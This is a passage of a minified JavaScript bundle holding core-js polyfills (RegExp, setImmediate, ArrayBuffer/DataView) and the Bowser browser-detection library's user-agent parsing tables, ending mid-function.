r,i,o=e(55),u=RegExp.prototype.exec,a=String.prototype.replace,c=u,s=(r=/a/,i=/b*/g,u.call(r,"a"),u.call(i,"a"),0!==r.lastIndex||0!==i.lastIndex),f=void 0!==/()??/.exec("")[1];(s||f)&&(c=function(t){var n,e,r,i,c=this;return f&&(e=new RegExp("^"+c.source+"$(?!\\s)",o.call(c))),s&&(n=c.lastIndex),r=u.call(c,t),s&&r&&(c.lastIndex=c.global?r.index+r[0].length:n),f&&r&&r.length>1&&a.call(r[0],e,(function(){for(i=1;i<arguments.length-2;i++)void 0===arguments[i]&&(r[i]=void 0)})),r}),t.exports=c},function(t,n,e){"use strict";var r=e(73)(!0);t.exports=function(t,n,e){return n+(e?r(t,n).length:1)}},function(t,n,e){var r,i,o,u=e(19),a=e(104),c=e(66),s=e(62),f=e(1),l=f.process,h=f.setImmediate,d=f.clearImmediate,p=f.MessageChannel,v=f.Dispatch,g=0,y={},m=function(){var t=+this;if(y.hasOwnProperty(t)){var n=y[t];delete y[t],n()}},b=function(t){m.call(t.data)};h&&d||(h=function(t){for(var n=[],e=1;arguments.length>e;)n.push(arguments[e++]);return y[++g]=function(){a("function"==typeof t?t:Function(t),n)},r(g),g},d=function(t){delete y[t]},"process"==e(25)(l)?r=function(t){l.nextTick(u(m,t,1))}:v&&v.now?r=function(t){v.now(u(m,t,1))}:p?(o=(i=new p).port2,i.port1.onmessage=b,r=u(o.postMessage,o,1)):f.addEventListener&&"function"==typeof postMessage&&!f.importScripts?(r=function(t){f.postMessage(t+"","*")},f.addEventListener("message",b,!1)):r="onreadystatechange"in s("script")?function(t){c.appendChild(s("script")).onreadystatechange=function(){c.removeChild(this),m.call(t)}}:function(t){setTimeout(u(m,t,1),0)}),t.exports={set:h,clear:d}},function(t,n,e){"use strict";var r=e(1),i=e(8),o=e(32),u=e(61),a=e(14),c=e(45),s=e(2),f=e(44),l=e(21),h=e(6),d=e(123),p=e(36).f,v=e(9).f,g=e(81),y=e(40),m=r.ArrayBuffer,b=r.DataView,S=r.Math,w=r.RangeError,M=r.Infinity,_=m,x=S.abs,P=S.pow,O=S.floor,A=S.log,F=S.LN2,E=i?"_b":"buffer",N=i?"_l":"byteLength",R=i?"_o":"byteOffset";function T(t,n,e){var r,i,o,u=new Array(e),a=8*e-n-1,c=(1<<a)-1,s=c>>1,f=23===n?P(2,-24)-P(2,-77):0,l=0,h=t<0||0===t&&1/t<0?1:0;for((t=x(t))!=t||t===M?(i=t!=t?1:0,r=c):(r=O(A(t)/F),t*(o=P(2,-r))<1&&(r--,o*=2),(t+=r+s>=1?f/o:f*P(2,1-s))*o>=2&&(r++,o/=2),r+s>=c?(i=0,r=c):r+s>=1?(i=(t*o-1)*P(2,n),r+=s):(i=t*P(2,s-1)*P(2,n),r=0));n>=8;u[l++]=255&i,i/=256,n-=8);for(r=r<<n|i,a+=n;a>0;u[l++]=255&r,r/=256,a-=8);return u[--l]|=128*h,u}function k(t,n,e){var r,i=8*e-n-1,o=(1<<i)-1,u=o>>1,a=i-7,c=e-1,s=t[c--],f=127&s;for(s>>=7;a>0;f=256*f+t[c],c--,a-=8);for(r=f&(1<<-a)-1,f>>=-a,a+=n;a>0;r=256*r+t[c],c--,a-=8);if(0===f)f=1-u;else{if(f===o)return r?NaN:s?-M:M;r+=P(2,n),f-=u}return(s?-1:1)*r*P(2,f-n)}function j(t){return t[3]<<24|t[2]<<16|t[1]<<8|t[0]}function I(t){return[255&t]}function L(t){return[255&t,t>>8&255]}function B(t){return[255&t,t>>8&255,t>>16&255,t>>24&255]}function C(t){return T(t,52,8)}function W(t){return T(t,23,4)}function V(t,n,e){v(t.prototype,n,{get:function(){return this[e]}})}function G(t,n,e,r){var i=d(+e);if(i+n>t[N])throw w("Wrong index!");var o=t[E]._b,u=i+t[R],a=o.slice(u,u+n);return r?a:a.reverse()}function D(t,n,e,r,i,o){var u=d(+e);if(u+n>t[N])throw w("Wrong index!");for(var a=t[E]._b,c=u+t[R],s=r(+i),f=0;f<n;f++)a[c+f]=s[o?f:n-f-1]}if(u.ABV){if(!s((function(){m(1)}))||!s((function(){new m(-1)}))||s((function(){return new m,new m(1.5),new m(NaN),"ArrayBuffer"!=m.name}))){for(var U,z=(m=function(t){return f(this,m),new _(d(t))}).prototype=_.prototype,q=p(_),K=0;q.length>K;)(U=q[K++])in m||a(m,U,_[U]);o||(z.constructor=m)}var Y=new b(new m(2)),Q=b.prototype.setInt8;Y.setInt8(0,2147483648),Y.setInt8(1,2147483649),!Y.getInt8(0)&&Y.getInt8(1)||c(b.prototype,{setInt8:function(t,n){Q.call(this,t,n<<24>>24)},setUint8:function(t,n){Q.call(this,t,n<<24>>24)}},!0)}else m=function(t){f(this,m,"ArrayBuffer");var n=d(t);this._b=g.call(new Array(n),0),this[N]=n},b=function(t,n,e){f(this,b,"DataView"),f(t,m,"DataView");var r=t[N],i=l(n);if(i<0||i>r)throw w("Wrong offset!");if(i+(e=void 0===e?r-i:h(e))>r)throw w("Wrong length!");this[E]=t,this[R]=i,this[N]=e},i&&(V(m,"byteLength","_l"),V(b,"buffer","_b"),V(b,"byteLength","_l"),V(b,"byteOffset","_o")),c(b.prototype,{getInt8:function(t){return G(this,1,t)[0]<<24>>24},getUint8:function(t){return G(this,1,t)[0]},getInt16:function(t){var n=G(this,2,t,arguments[1]);return(n[1]<<8|n[0])<<16>>16},getUint16:function(t){var n=G(this,2,t,arguments[1]);return n[1]<<8|n[0]},getInt32:function(t){return j(G(this,4,t,arguments[1]))},getUint32:function(t){return j(G(this,4,t,arguments[1]))>>>0},getFloat32:function(t){return k(G(this,4,t,arguments[1]),23,4)},getFloat64:function(t){return k(G(this,8,t,arguments[1]),52,8)},setInt8:function(t,n){D(this,1,t,I,n)},setUint8:function(t,n){D(this,1,t,I,n)},setInt16:function(t,n){D(this,2,t,L,n,arguments[2])},setUint16:function(t,n){D(this,2,t,L,n,arguments[2])},setInt32:function(t,n){D(this,4,t,B,n,arguments[2])},setUint32:function(t,n){D(this,4,t,B,n,arguments[2])},setFloat32:function(t,n){D(this,4,t,W,n,arguments[2])},setFloat64:function(t,n){D(this,8,t,C,n,arguments[2])}});y(m,"ArrayBuffer"),y(b,"DataView"),a(b.prototype,u.VIEW,!0),n.ArrayBuffer=m,n.DataView=b},function(t,n){var e=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=e)},function(t,n){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},function(t,n,e){t.exports=!e(128)((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a}))},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(91))&&r.__esModule?r:{default:r},o=e(18);function u(t,n){for(var e=0;e<n.length;e++){var r=n[e];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,a(r.key),r)}}function a(t){var n=function(t,n){if("object"!=typeof t||!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var r=e.call(t,n||"default");if("object"!=typeof r)return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===n?String:Number)(t)}
  5171. /*!
  5172.  * Bowser - a browser detector
  5173.  * https://github.com/lancedikson/bowser
  5174.  * MIT License | (c) Dustin Diaz 2012-2015
  5175.  * MIT License | (c) Denis Demchenko 2015-2019
  5176.  */(t,"string");return"symbol"==typeof n?n:n+""}var c=function(){function t(){}return t.getParser=function(t,n){if(void 0===n&&(n=!1),"string"!=typeof t)throw new Error("UserAgent should be a string");return new i.default(t,n)},t.parse=function(t){return new i.default(t).getResult()},function(t,n,e){return n&&u(t.prototype,n),e&&u(t,e),Object.defineProperty(t,"prototype",{writable:!1}),t}(t,null,[{key:"BROWSER_MAP",get:function(){return o.BROWSER_MAP}},{key:"ENGINE_MAP",get:function(){return o.ENGINE_MAP}},{key:"OS_MAP",get:function(){return o.OS_MAP}},{key:"PLATFORMS_MAP",get:function(){return o.PLATFORMS_MAP}}])}();n.default=c;t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r=c(e(92)),i=c(e(93)),o=c(e(94)),u=c(e(95)),a=c(e(17));function c(t){return t&&t.__esModule?t:{default:t}}var s=function(){function t(t,n){if(void 0===n&&(n=!1),null==t||""===t)throw new Error("UserAgent parameter can't be empty");this._ua=t,this.parsedResult={},!0!==n&&this.parse()}var n=t.prototype;return n.getUA=function(){return this._ua},n.test=function(t){return t.test(this._ua)},n.parseBrowser=function(){var t=this;this.parsedResult.browser={};var n=a.default.find(r.default,(function(n){if("function"==typeof n.test)return n.test(t);if(Array.isArray(n.test))return n.test.some((function(n){return t.test(n)}));throw new Error("Browser's test function is not valid")}));return n&&(this.parsedResult.browser=n.describe(this.getUA())),this.parsedResult.browser},n.getBrowser=function(){return this.parsedResult.browser?this.parsedResult.browser:this.parseBrowser()},n.getBrowserName=function(t){return t?String(this.getBrowser().name).toLowerCase()||"":this.getBrowser().name||""},n.getBrowserVersion=function(){return this.getBrowser().version},n.getOS=function(){return this.parsedResult.os?this.parsedResult.os:this.parseOS()},n.parseOS=function(){var t=this;this.parsedResult.os={};var n=a.default.find(i.default,(function(n){if("function"==typeof n.test)return n.test(t);if(Array.isArray(n.test))return n.test.some((function(n){return t.test(n)}));throw new Error("Browser's test function is not valid")}));return n&&(this.parsedResult.os=n.describe(this.getUA())),this.parsedResult.os},n.getOSName=function(t){var n=this.getOS().name;return t?String(n).toLowerCase()||"":n||""},n.getOSVersion=function(){return this.getOS().version},n.getPlatform=function(){return this.parsedResult.platform?this.parsedResult.platform:this.parsePlatform()},n.getPlatformType=function(t){void 0===t&&(t=!1);var n=this.getPlatform().type;return t?String(n).toLowerCase()||"":n||""},n.parsePlatform=function(){var t=this;this.parsedResult.platform={};var n=a.default.find(o.default,(function(n){if("function"==typeof n.test)return n.test(t);if(Array.isArray(n.test))return n.test.some((function(n){return t.test(n)}));throw new Error("Browser's test function is not valid")}));return n&&(this.parsedResult.platform=n.describe(this.getUA())),this.parsedResult.platform},n.getEngine=function(){return this.parsedResult.engine?this.parsedResult.engine:this.parseEngine()},n.getEngineName=function(t){return t?String(this.getEngine().name).toLowerCase()||"":this.getEngine().name||""},n.parseEngine=function(){var t=this;this.parsedResult.engine={};var n=a.default.find(u.default,(function(n){if("function"==typeof n.test)return n.test(t);if(Array.isArray(n.test))return n.test.some((function(n){return t.test(n)}));throw new Error("Browser's test function is not valid")}));return n&&(this.parsedResult.engine=n.describe(this.getUA())),this.parsedResult.engine},n.parse=function(){return this.parseBrowser(),this.parseOS(),this.parsePlatform(),this.parseEngine(),this},n.getResult=function(){return a.default.assign({},this.parsedResult)},n.satisfies=function(t){var n=this,e={},r=0,i={},o=0;if(Object.keys(t).forEach((function(n){var u=t[n];"string"==typeof u?(i[n]=u,o+=1):"object"==typeof u&&(e[n]=u,r+=1)})),r>0){var u=Object.keys(e),c=a.default.find(u,(function(t){return n.isOS(t)}));if(c){var s=this.satisfies(e[c]);if(void 0!==s)return s}var f=a.default.find(u,(function(t){return n.isPlatform(t)}));if(f){var l=this.satisfies(e[f]);if(void 0!==l)return l}}if(o>0){var h=Object.keys(i),d=a.default.find(h,(function(t){return n.isBrowser(t,!0)}));if(void 0!==d)return this.compareVersion(i[d])}},n.isBrowser=function(t,n){void 0===n&&(n=!1);var e=this.getBrowserName().toLowerCase(),r=t.toLowerCase(),i=a.default.getBrowserTypeByAlias(r);return n&&i&&(r=i.toLowerCase()),r===e},n.compareVersion=function(t){var n=[0],e=t,r=!1,i=this.getBrowserVersion();if("string"==typeof i)return">"===t[0]||"<"===t[0]?(e=t.substr(1),"="===t[1]?(r=!0,e=t.substr(2)):n=[],">"===t[0]?n.push(1):n.push(-1)):"="===t[0]?e=t.substr(1):"~"===t[0]&&(r=!0,e=t.substr(1)),n.indexOf(a.default.compareVersions(i,e,r))>-1},n.isOS=function(t){return this.getOSName(!0)===String(t).toLowerCase()},n.isPlatform=function(t){return this.getPlatformType(!0)===String(t).toLowerCase()},n.isEngine=function(t){return this.getEngineName(!0)===String(t).toLowerCase()},n.is=function(t,n){return void 0===n&&(n=!1),this.isBrowser(t,n)||this.isOS(t)||this.isPlatform(t)},n.some=function(t){var n=this;return void 0===t&&(t=[]),t.some((function(t){return n.is(t)}))},t}();n.default=s;t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(17))&&r.__esModule?r:{default:r};var o=/version\/(\d+(\.?_?\d+)+)/i,u=[{test:[/googlebot/i],describe:function(t){var n={name:"Googlebot"},e=i.default.getFirstMatch(/googlebot\/(\d+(\.\d+))/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/opera/i],describe:function(t){var n={name:"Opera"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:opera)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/opr\/|opios/i],describe:function(t){var n={name:"Opera"},e=i.default.getFirstMatch(/(?:opr|opios)[\s/](\S+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/SamsungBrowser/i],describe:function(t){var n={name:"Samsung Internet for Android"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:SamsungBrowser)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/Whale/i],describe:function(t){var n={name:"NAVER Whale Browser"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:whale)[\s/](\d+(?:\.\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/PaleMoon/i],describe:function(t){var n={name:"Pale Moon"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:PaleMoon)[\s/](\d+(?:\.\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/MZBrowser/i],describe:function(t){var n={name:"MZ Browser"},e=i.default.getFirstMatch(/(?:MZBrowser)[\s/](\d+(?:\.\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/focus/i],describe:function(t){var n={name:"Focus"},e=i.default.getFirstMatch(/(?:focus)[\s/](\d+(?:\.\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/swing/i],describe:function(t){var n={name:"Swing"},e=i.default.getFirstMatch(/(?:swing)[\s/](\d+(?:\.\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/coast/i],describe:function(t){var n={name:"Opera Coast"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:coast)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/opt\/\d+(?:.?_?\d+)+/i],describe:function(t){var n={name:"Opera Touch"},e=i.default.getFirstMatch(/(?:opt)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/yabrowser/i],describe:function(t){var n={name:"Yandex Browser"},e=i.default.getFirstMatch(/(?:yabrowser)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/ucbrowser/i],describe:function(t){var n={name:"UC Browser"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:ucbrowser)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/Maxthon|mxios/i],describe:function(t){var n={name:"Maxthon"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:Maxthon|mxios)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/epiphany/i],describe:function(t){var n={name:"Epiphany"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:epiphany)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/puffin/i],describe:function(t){var n={name:"Puffin"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:puffin)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/sleipnir/i],describe:function(t){var n={name:"Sleipnir"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:sleipnir)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/k-meleon/i],describe:function(t){var n={name:"K-Meleon"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:k-meleon)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/micromessenger/i],describe:function(t){var n={name:"WeChat"},e=i.default.getFirstMatch(/(?:micromessenger)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/qqbrowser/i],describe:function(t){var n={name:/qqbrowserlite/i.test(t)?"QQ Browser Lite":"QQ Browser"},e=i.default.getFirstMatch(/(?:qqbrowserlite|qqbrowser)[/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/msie|trident/i],describe:function(t){var n={name:"Internet Explorer"},e=i.default.getFirstMatch(/(?:msie |rv:)(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/\sedg\//i],describe:function(t){var n={name:"Microsoft Edge"},e=i.default.getFirstMatch(/\sedg\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/edg([ea]|ios)/i],describe:function(t){var n={name:"Microsoft Edge"},e=i.default.getSecondMatch(/edg([ea]|ios)\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/vivaldi/i],describe:function(t){var n={name:"Vivaldi"},e=i.default.getFirstMatch(/vivaldi\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/seamonkey/i],describe:function(t){var n={name:"SeaMonkey"},e=i.default.getFirstMatch(/seamonkey\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/sailfish/i],describe:function(t){var n={name:"Sailfish"},e=i.default.getFirstMatch(/sailfish\s?browser\/(\d+(\.\d+)?)/i,t);return e&&(n.version=e),n}},{test:[/silk/i],describe:function(t){var n={name:"Amazon Silk"},e=i.default.getFirstMatch(/silk\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/phantom/i],describe:function(t){var n={name:"PhantomJS"},e=i.default.getFirstMatch(/phantomjs\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/slimerjs/i],describe:function(t){var n={name:"SlimerJS"},e=i.default.getFirstMatch(/slimerjs\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/blackberry|\bbb\d+/i,/rim\stablet/i],describe:function(t){var n={name:"BlackBerry"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/blackberry[\d]+\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/(web|hpw)[o0]s/i],describe:function(t){var n={name:"WebOS Browser"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/w(?:eb)?[o0]sbrowser\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/bada/i],describe:function(t){var n={name:"Bada"},e=i.default.getFirstMatch(/dolfin\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/tizen/i],describe:function(t){var n={name:"Tizen"},e=i.default.getFirstMatch(/(?:tizen\s?)?browser\/(\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/qupzilla/i],describe:function(t){var n={name:"QupZilla"},e=i.default.getFirstMatch(/(?:qupzilla)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/firefox|iceweasel|fxios/i],describe:function(t){var n={name:"Firefox"},e=i.default.getFirstMatch(/(?:firefox|iceweasel|fxios)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/electron/i],describe:function(t){var n={name:"Electron"},e=i.default.getFirstMatch(/(?:electron)\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/MiuiBrowser/i],describe:function(t){var n={name:"Miui"},e=i.default.getFirstMatch(/(?:MiuiBrowser)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/chromium/i],describe:function(t){var n={name:"Chromium"},e=i.default.getFirstMatch(/(?:chromium)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/chrome|crios|crmo/i],describe:function(t){var n={name:"Chrome"},e=i.default.getFirstMatch(/(?:chrome|crios|crmo)\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/GSA/i],describe:function(t){var n={name:"Google Search"},e=i.default.getFirstMatch(/(?:GSA)\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:function(t){var n=!t.test(/like android/i),e=t.test(/android/i);return n&&e},describe:function(t){var n={name:"Android Browser"},e=i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/playstation 4/i],describe:function(t){var n={name:"PlayStation 4"},e=i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/safari|applewebkit/i],describe:function(t){var n={name:"Safari"},e=i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/.*/i],describe:function(t){var n=-1!==t.search("\\(")?/^(.*)\/(.*)[ \t]\((.*)/:/^(.*)\/(.*) /;return{name:i.default.getFirstMatch(n,t),version:i.default.getSecondMatch(n,t)}}}];n.default=u;t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(17))&&r.__esModule?r:{default:r},o=e(18);n.default=[{test:[/Roku\/DVP/],describe:function(t){var n=i.default.getFirstMatch(/Roku\/DVP-(\d+\.\d+)/i,t);return{name:o.OS_MAP.Roku,version:n}}},{test:[/windows phone/i],describe:function(t){var n=i.default.getFirstMatch(/windows phone (?:os)?\s?(\d+(\.\d+)*)/i,t);return{name:o.OS_MAP.WindowsPhone,version:n}}},{test:[/windows /i],describe:function(t){var n=i.default.getFirstMatch(/Windows ((NT|XP)( \d\d?.\d)?)/i,t),e=i.default.getWindowsVersionName(n);return{name:o.OS_MAP.Windows,version:n,versionName:e}}},{test:[/Macintosh(.*?) FxiOS(.*?)\//],describe:function(t){var n={name:o.OS_MAP.iOS},e=i.default.getSecondMatch(/(Version\/)(\d[\d.]+)/,t);return e&&(n.version=e),n}},{test:[/macintosh/i],describe:function(t){var n=i.default.getFirstMatch(/mac os x (\d+(\.?_?\d+)+)/i,t).replace(/[_\s]/g,"."),e=i.default.getMacOSVersionName(n),r={name:o.OS_MAP.MacOS,version:n};return e&&(r.versionName=e),r}},{test:[/(ipod|iphone|ipad)/i],describe:function(t){var n=i.default.getFirstMatch(/os (\d+([_\s]\d+)*) like mac os x/i,t).replace(/[_\s]/g,".");return{name:o.OS_MAP.iOS,version:n}}},{test:function(t){var n=!t.test(/like android/i),e=t.test(/android/i);return n&&e},describe:function(t){var n=i.default.getFirstMatch(/android[\s/-](\d+(\.\d+)*)/i,t),e=i.default.getAndroidVersionName(n),r={name:o.OS_MAP.Android,version:n};return e&&(r.versionName=e),r}},{test:[/(web|hpw)[o0]s/i],describe:function(t){var n=i.default.getFirstMatch(/(?:web|hpw)[o0]s\/(\d+(\.\d+)*)/i,t),e={name:o.OS_MAP.WebOS};return n&&n.length&&(e.version=n),e}},{test:[/blackberry|\bbb\d+/i,/rim\stablet/i],describe:function(t){var n=i.default.getFirstMatch(/rim\stablet\sos\s(\d+(\.\d+)*)/i,t)||i.default.getFirstMatch(/blackberry\d+\/(\d+([_\s]\d+)*)/i,t)||i.default.getFirstMatch(/\bbb(\d+)/i,t);return{name:o.OS_MAP.BlackBerry,version:n}}},{test:[/bada/i],describe:function(t){var n=i.default.getFirstMatch(/bada\/(\d+(\.\d+)*)/i,t);return{name:o.OS_MAP.Bada,version:n}}},{test:[/tizen/i],describe:function(t){var n=i.default.getFirstMatch(/tizen[/\s](\d+(\.\d+)*)/i,t);return{name:o.OS_MAP.Tizen,version:n}}},{test:[/linux/i],describe:function(){return{name:o.OS_MAP.Linux}}},{test:[/CrOS/],describe:function(){return{name:o.OS_MAP.ChromeOS}}},{test:[/PlayStation 4/],describe:function(t){var n=i.default.getFirstMatch(/PlayStation 4[/\s](\d+(\.\d+)*)/i,t);return{name:o.OS_MAP.PlayStation4,version:n}}}];t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(17))&&r.__esModule?r:{default:r},o=e(18);n.default=[{test:[/googlebot/i],describe:function(){return{type:o.PLATFORMS_MAP.bot,vendor:"Google"}}},{test:[/huawei/i],describe:function(t){var n=i.default.getFirstMatch(/(can-l01)/i,t)&&"Nova",e={type:o.PLATFORMS_MAP.mobile,vendor:"Huawei"};return n&&(e.model=n),e}},{test:[/nexus\s*(?:7|8|9|10).*/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Nexus"}}},{test:[/ipad/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Apple",model:"iPad"}}},{test:[/Macintosh(.*?) FxiOS(.*?)\//],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Apple",model:"iPad"}}},{test:[/kftt build/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Amazon",model:"Kindle Fire HD 7"}}},{test:[/silk/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Amazon"}}},{test:[/tablet(?! pc)/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet}}},{test:function(t){var n=t.test(/ipod|iphone/i),e=t.test(/like (ipod|iphone)/i);return n&&!e},describe:function(t){var n=i.default.getFirstMatch(/(ipod|iphone)/i,t);return{type:o.PLATFORMS_MAP.mobile,vendor:"Apple",model:n}}},{test:[/nexus\s*[0-6].*/i,/galaxy nexus/i],describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"Nexus"}}},{test:[/Nokia/i],describe:function(t){var n=i.default.getFirstMatch(/Nokia\s+([0-9]+(\.[0-9]+)?)/i,t),e={type:o.PLATFORMS_MAP.mobile,vendor:"Nokia"};return n&&(e.model=n),e}},{test:[/[^-]mobi/i],describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(t){return"blackberry"===t.getBrowserName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"BlackBerry"}}},{test:function(t){return"bada"===t.getBrowserName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(t){return"windows phone"===t.getBrowserName()},describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"Microsoft"}}},{test:function(t){var n=Number(String(t.getOSVersion()).split(".")[0]);return"android"===t.getOSName(!0)&&n>=3},describe:function(){return{type:o.PLATFORMS_MAP.tablet}}},{test:function(t){return"android"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(t){return"macos"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop,vendor:"Apple"}}},{test:function(t){return"windows"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop}}},{test:function(t){return"linux"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop}}},{test:function(t){return"playstation 4"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.tv}}},{test:function(t){return"roku"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.tv}}}];t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(17))&&r.__esModule?r:{default:r},o=e(18);n.default=[{test:function(t){return"microsoft edge"===t.getBrowserName(!0)},describe:function(t){if(/\sedg\//i.test(t))return{name:o.ENGINE_MAP.Blink};var n=i.default.getFirstMatch(/edge\/(\d+(\.?_?\d+)+)/i,t);return{name:o.ENGINE_MAP.EdgeHTML,version:n}}},{test:[/trident/i],describe:function(t){var n={name:o.ENGINE_MAP.Trident},e=i.default.getFirstMatch(/trident\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:function(t){return t.test(/presto/i)},describe:function(t){var n={name:o.ENGINE_MAP.Presto},e=i.default.getFirstMatch(/presto\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:function(t){var n=t.test(/gecko/i),e=t.test(/like gecko/i);return n&&!e},describe:function(t){var n={name:o.ENGINE_MAP.Gecko},e=i.default.getFirstMatch(/gecko\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/(apple)?webkit\/537\.36/i],describe:function(){return{name:o.ENGINE_MAP.Blink}}},{test:[/(apple)?webkit/i],describe:function(t){var n={name:o.ENGINE_MAP.WebKit},e=i.default.getFirstMatch(/webkit\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}}];t.exports=n.default},function(t,n,e){t.exports=!e(8)&&!e(2)((function(){return 7!=Object.defineProperty(e(62)("div"),"a",{get:function(){return 7}}).a}))},function(t,n,e){var r=e(1),i=e(7),o=e(32),u=e(63),a=e(9).f;t.exports=function(t){var n=i.Symbol||(i.Symbol=o?{}:r.Symbol||{});"_"==t.charAt(0)||t in n||a(n,t,{value:u.f(t)})}},function(t,n,e){var r=e(13),i=e(15),o=e(51)(!1),u=e(64)("IE_PROTO");t.exports=function(t,n){var e,a=i(t),c=0,s=[];for(e in 